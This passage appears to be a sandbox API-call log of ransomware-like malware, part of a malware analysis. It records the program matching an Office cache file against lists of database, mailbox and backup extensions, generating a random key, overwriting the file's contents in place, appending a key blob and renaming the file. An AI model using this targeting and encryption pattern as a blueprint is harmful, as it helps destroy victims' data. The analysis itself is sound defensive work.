	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".EQL") returned 0x0
	[0069.212] lstrlenW (lpString=".FDB") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".FDB") returned 0x0
	[0069.212] lstrlenW (lpString=".EDB") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".EDB") returned 0x0
	[0069.212] lstrlenW (lpString=".DACPAC") returned 7
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DACPAC") returned 0x0
	[0069.212] lstrlenW (lpString=".VHD") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".VHD") returned 0x0
	[0069.212] lstrlenW (lpString=".DBV") returned 4
	[0069.212] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DBV") returned 0x0
	[0069.212] lstrlenW (lpString=".dacpac") returned 7
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dacpac") returned 0x0
	[0069.213] lstrlenW (lpString=".sdf") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".sdf") returned 0x0
	[0069.213] lstrlenW (lpString=".accdb") returned 6
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".accdb") returned 0x0
	[0069.213] lstrlenW (lpString=".DBX") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DBX") returned 0x0
	[0069.213] lstrlenW (lpString=".MDT") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".MDT") returned 0x0
	[0069.213] lstrlenW (lpString=".SQB") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".SQB") returned 0x0
	[0069.213] lstrlenW (lpString=".vhd") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".vhd") returned 0x0
	[0069.213] lstrlenW (lpString=".bac") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".bac") returned 0x0
	[0069.213] lstrlenW (lpString=".mdf") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".mdf") returned 0x0
	[0069.213] lstrlenW (lpString=".BAK") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".BAK") returned 0x0
	[0069.213] lstrlenW (lpString=".BAC") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".BAC") returned 0x0
	[0069.213] lstrlenW (lpString=".dbs") returned 4
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dbs") returned 0x0
	[0069.213] lstrlenW (lpString=".vhdx") returned 5
	[0069.213] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".vhdx") returned 0x0
	[0069.213] lstrlenW (lpString=".NDF") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".NDF") returned 0x0
	[0069.214] lstrlenW (lpString=".dat") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dat") returned 0x0
	[0069.214] lstrlenW (lpString=".DBS") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DBS") returned 0x0
	[0069.214] lstrlenW (lpString=".CKP") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".CKP") returned 0x0
	[0069.214] lstrlenW (lpString=".edb") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".edb") returned 0x0
	[0069.214] lstrlenW (lpString=".PST") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".PST") returned 0x0
	[0069.214] lstrlenW (lpString=".dbf") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dbf") returned 0x0
	[0069.214] lstrlenW (lpString=".SQL") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".SQL") returned 0x0
	[0069.214] lstrlenW (lpString=".pst") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".pst") returned 0x0
	[0069.214] lstrlenW (lpString=".dbv") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dbv") returned 0x0
	[0069.214] lstrlenW (lpString=".SDF") returned 4
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".SDF") returned 0x0
	[0069.214] lstrlenW (lpString=".dtxs") returned 5
	[0069.214] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dtxs") returned 0x0
	[0069.214] lstrlenW (lpString=".db3") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".db3") returned 0x0
	[0069.215] lstrlenW (lpString=".OST") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".OST") returned 0x0
	[0069.215] lstrlenW (lpString=".dbx") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dbx") returned 0x0
	[0069.215] lstrlenW (lpString=".DB3") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DB3") returned 0x0
	[0069.215] lstrlenW (lpString=".DAT") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DAT") returned 0x0
	[0069.215] lstrlenW (lpString=".VHDX") returned 5
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".VHDX") returned 0x0
	[0069.215] lstrlenW (lpString=".ndf") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".ndf") returned 0x0
	[0069.215] lstrlenW (lpString=".DB") returned 3
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DB") returned 0x0
	[0069.215] lstrlenW (lpString=".sql") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".sql") returned 0x0
	[0069.215] lstrlenW (lpString=".MYD") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".MYD") returned 0x0
	[0069.215] lstrlenW (lpString=".DBT") returned 4
	[0069.215] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DBT") returned 0x0
	[0069.215] lstrlenW (lpString=".ACCDB") returned 6
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".ACCDB") returned 0x0
	[0069.216] lstrlenW (lpString=".fdb") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".fdb") returned 0x0
	[0069.216] lstrlenW (lpString=".bak") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".bak") returned 0x0
	[0069.216] lstrlenW (lpString=".myd") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".myd") returned 0x0
	[0069.216] lstrlenW (lpString=".DTXS") returned 5
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".DTXS") returned 0x0
	[0069.216] lstrlenW (lpString=".ckp") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".ckp") returned 0x0
	[0069.216] lstrlenW (lpString=".dbt") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".dbt") returned 0x0
	[0069.216] lstrlenW (lpString=".db") returned 3
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".db") returned 0x0
	[0069.216] lstrlenW (lpString=".TXT") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".TXT") returned 0x0
	[0069.216] lstrlenW (lpString=".MDF") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".MDF") returned 0x0
	[0069.216] lstrlenW (lpString=".bdb") returned 4
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".bdb") returned 0x0
	[0069.216] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0069.216] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0069.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa6b8
	[0069.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0069.216] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0069.217] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0069.218] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0069.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0069.218] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=18920783673) returned 1
	[0069.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x96321a50, dwHighDateTime=0x1d60e1e)) 
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0069.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0069.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6fb8
	[0069.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0069.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6fb8 | out: hHeap=0x300000) returned 1
	[0069.218] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.219] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.219] GetLastError () returned 0x0
	[0069.219] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.220] SetLastError (dwErrCode=0x0) 
	[0069.220] GetLastError () returned 0x0
	[0069.221] SetLastError (dwErrCode=0x0) 
	[0069.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0069.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b76e0
	[0069.221] ReadFile (in: hFile=0x11c, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0069.226] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.227] WriteFile (in: hFile=0x11c, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0069.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0069.229] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0069.229] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0069.232] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0069.232] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0069.232] CloseHandle (hObject=0x11c) returned 1
	[0069.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0069.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.~~~~")) returned 1
	[0069.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0069.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0069.250] GetLastError () returned 0x0
	[0069.250] SetLastError (dwErrCode=0x0) 
	[0069.250] GetLastError () returned 0x0
	[0069.250] SetLastError (dwErrCode=0x0) 
	[0069.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0069.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0069.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0069.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b740 | out: hHeap=0x300000) returned 1
	[0069.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa6b8 | out: hHeap=0x300000) returned 1
	[0069.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a53b0 | out: hHeap=0x300000) returned 1
	[0069.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0069.251] RtlWakeConditionVariable () returned 0x365f70
	[0069.251] GetCurrentThreadId () returned 0xaf0
	[0069.251] GetCurrentThreadId () returned 0xaf0
	[0069.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0069.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e8a0 | out: hHeap=0x300000) returned 1
	[0069.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c998 | out: hHeap=0x300000) returned 1
	[0069.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a53b0
	[0069.251] lstrlenW (lpString=".scr") returned 4
	[0069.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".scr") returned 0x0
	[0069.251] lstrlenW (lpString=".cmd") returned 4
	[0069.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".cmd") returned 0x0
	[0069.251] lstrlenW (lpString=".dll") returned 4
	[0069.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dll") returned 0x0
	[0069.251] lstrlenW (lpString=".bat") returned 4
	[0069.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".bat") returned 0x0
	[0069.251] lstrlenW (lpString=".cpl") returned 4
	[0069.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".cpl") returned 0x0
	[0069.252] lstrlenW (lpString=".sys") returned 4
	[0069.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".sys") returned 0x0
	[0069.252] lstrlenW (lpString=".msc") returned 4
	[0069.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".msc") returned 0x0
	[0069.252] lstrlenW (lpString=".com") returned 4
	[0069.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".com") returned 0x0
	[0069.252] lstrlenW (lpString=".lnk") returned 4
	[0069.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".lnk") returned 0x0
	[0069.252] lstrlenW (lpString=".msp") returned 4
	[0069.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".msp") returned 0x0
	[0069.252] lstrlenW (lpString=".pif") returned 4
	[0069.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".pif") returned 0x0
	[0069.252] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0069.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0069.252] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0069.253] lstrlenW (lpString=".sqb") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".sqb") returned 0x0
	[0069.253] lstrlenW (lpString=".ost") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".ost") returned 0x0
	[0069.253] lstrlenW (lpString=".txt") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".txt") returned 0x0
	[0069.253] lstrlenW (lpString=".mdt") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".mdt") returned 0x0
	[0069.253] lstrlenW (lpString=".BDB") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".BDB") returned 0x0
	[0069.253] lstrlenW (lpString=".eql") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".eql") returned 0x0
	[0069.253] lstrlenW (lpString=".DBF") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DBF") returned 0x0
	[0069.253] lstrlenW (lpString=".EQL") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".EQL") returned 0x0
	[0069.253] lstrlenW (lpString=".FDB") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".FDB") returned 0x0
	[0069.253] lstrlenW (lpString=".EDB") returned 4
	[0069.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".EDB") returned 0x0
